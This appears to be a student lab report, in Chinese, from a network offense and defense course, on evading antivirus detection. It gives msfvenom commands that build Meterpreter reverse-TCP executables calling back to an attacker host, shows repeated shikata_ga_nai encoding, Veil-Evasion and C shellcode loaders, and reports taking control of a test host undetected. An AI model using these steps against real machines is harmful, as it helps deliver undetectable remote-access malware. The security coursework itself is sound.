• 20145336 张子扬 《网络对抗技术》免杀原理与实践


    20145336 张子扬 《网络对抗技术》免杀原理与实践

    免杀技术

    名词解释

    单从汉语“免杀”的字面意思来理解,可以将其看为一种能使病毒木马避免被杀毒软件查杀的技术。但是不得不客观地说,免杀技术的涉猎面非常广,您可以由此轻松转型为反汇编、逆向工程甚至系统漏洞的发掘等其他顶级黑客技术,由此可见免杀并不简单。

    技术分类

    改变特征码

    加壳:使用专业的加壳软件,掩盖特征码;

    使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;

    使用其他语言进行重写再编译,如veil-evasion。

    改变攻击行为

    反弹式连接能大大减少被阻止查杀的风险;

    在正常应用软件中插入恶意代码;

    将恶意代码加密,运行恶意代码后再解密进行恶意操作;

    非常规方法

    使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

    使用社工类攻击,诱骗目标关闭AV软件。

    纯手工打造一个恶意软件

    基础问题回答

    1.杀软是如何检测出恶意代码的?

    创建特征码库,对恶意代码的特征码进行匹配,匹配到即为恶意代码;

    看该代码是否被流行免杀加壳软件加壳,如果有可能就是恶意代码;

    根据该代码是否有恶意行为来判别,若有恶意的行为,我们就认为该代码是恶意代码。

    2.免杀是做什么?

    免杀就是通过改变恶意程序的明显特征等信息,一种能使病毒木马避免被杀毒软件查杀的技术。

    3.免杀的基本方法有哪些?

    改变特征码

    加壳:使用专业的加壳软件,掩盖特征码;

    使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;

    使用其他语言进行重写再编译,如veil-evasion。

    改变攻击行为

    反弹式连接能大大减少被阻止查杀的风险;

    在正常应用软件中插入恶意代码;

    将恶意代码加密,运行恶意代码后再解密进行恶意操作;

    实验步骤

    msfvenom直接生成meterpreter可执行文件

    1、首先使用命令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击主机ip PORT=监听端口号 -f exe > xxx.exe
    

    使用生成meterpreter可执行文件xxx.exe

    2、将文件传送到被控主机

    这老哥一送过去他就被我的电脑干掉了,很脆弱。我用的是windows系统本身自带的windows自带的windows defender,这款杀毒软件虽然是自带的,但是真心很强力,再此力荐。

    3、我使用http://www.virscan.org网站进行代码检测,这个网站的作用就是检测有多少杀毒软件可以检查出你的病毒代码。

    其结果如下:

    检测结果大部分杀毒软件都可以查杀,说明这个病毒代码很脆弱,送到被攻击的主机上基本上就是去送的,我们之后要做的就是对代码进行处理,使这些杀毒软件杀不出来他们。

    Msfvenom使用编码器生成meterpreter可执行文件

    1、一次加壳

    使用命令

    msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -b ‘x00’ LHOST=攻击主机ip LPORT=监听端口 -f exe > xxx.exe

    命令生成可执行文件xxx.exe

    这里我们对代码进行一次加壳,之后的代码我们进行检测,检测结果如下:

    我们发现还是有很多的杀毒软件可以发现病毒,但是已经有一些杀毒软件对这个病毒软件有崭新的看法。认为它没有病毒,但是这还不够,我们继续对这个病毒进行加壳。

    2、多次加壳

    我们使用命令

    msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -i 10 -b ‘x00’ LHOST=攻击者ip LPORT=监听端口 -f exe > xxx-e8.exe

    我们将文件编码8次,得到新的代码。之后我们继续对新的代码进行检测,检测结果如下:

    我们发现又有跟多的的杀毒软件检测除了问题。我们对病毒添加了更多的外壳,理应更加安全,为什么还是被查出了。我们推测,杀毒软件对这种方法都是有防御性的,要不然你打包它几百次岂不无敌。

    使用Veil-Evasion生成可执行文件

    1、在kali中打开veil-evasion:直接在终端输入veil-evasion即可(在这因为我用的是直接从老师那里考来的虚拟机,所以里面本身就安装了这款软件,未安装的可以使用命令

    sudo apt-get veil-evasion   
    

    下载一个就行了)

    2、是输入命令

    use python/meterpreter/rev_tcp
    

    结果如下:

    3、设定攻击者的主机地址,监听的端口号

    4、输入命令generate

    5、生成可执行文件,为可执行文件命名。

    6、选择编写方式,在这里我先择第一种

    7、之后我对病毒进行检测,发现只有少数杀毒软件检测出病毒。

    使用C语言调用Shellcode

    1、使用

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=监听端口号 -f c

    生成一个shellcode数组

    2、使用这组数组编写一个程序

    3、将生成可执行文件。我们检测以下这个文件,发现这又极少数杀毒软件发现了病毒,说明还是很成功的。

    电脑实测

    首先根据最后一个实验生成一个带有shellcode数组的病毒软件

    然后将他传输到被控端,并没有被查杀出病毒

    获取权限,对被控端实行控制

    离实战还缺些什么技术或步骤

    1、我觉得现在我们知识初步的了解了攻击流程,对攻击手段有了一定的认识。但在很多细节方面还缺少一定的火候。比如我们怎么把我们的病毒送到攻击主机上,现在我们实验中只是使用ncat,或者直接拷贝。这样显然在实战中是不可以的。所以我们可以接触一些植入病毒的方法。

    2、通过本次实践,我发现杀毒软件这个东西还是蛮强大的。我们如果想实战,我们需要解决杀毒软件这个强大的对手。本次实验中我们只学习了一些皮毛,之后在这一方面我们还需深入研究,连杀软这一关都过不去,就不要提实战了。

    3、在攻击控制端,我们了解的方法还是比较单一。学习了解更多的攻击方法,以备解决更多的突发情况。

    实验总结与体会

    本次实验是对病毒进行免杀处理,各种免杀处理效果都不太一样。但还是有很有用的免杀处理技术,所以作为一个用户的角度,我们在生活中不能过分的以来杀软。认为安装杀毒软件,电脑就很安全了,可以肆意的使用网络。还是需要培养一定的安全意识,防范于未然。作为一个攻击者,我认为免杀技术是一项最基本的技术。病毒刚植入就被查杀,就别提攻击了。所以在免杀能力这一方面我们应该加强。

  • 相关阅读:
    非控制台应用程序输出信息到输出面板
    使用token实现接口权限验证
    创建虚拟目录http://localhost:1780/失败,错误:无法访问iis元数据库。您没用足够的特权访问计算机上的IIS网站
    隐藏桌面的回收站
    本地电脑与远程服务器之间不能复制粘贴解决方法
    移动端使用控制台打印 vconsole
    npm无法安装node-sass的解决方法
    远程报:这可能是由于credssp加密oracle修正
    L2TP连接尝试失败,因为安全层在初始化与远程计算机的协商时遇到一个处理错误
    让一张图片居中在中间(代码片段)
  • 原文地址:https://www.cnblogs.com/20145336yang/p/6623654.html
Copyright © 2020-2023  润新知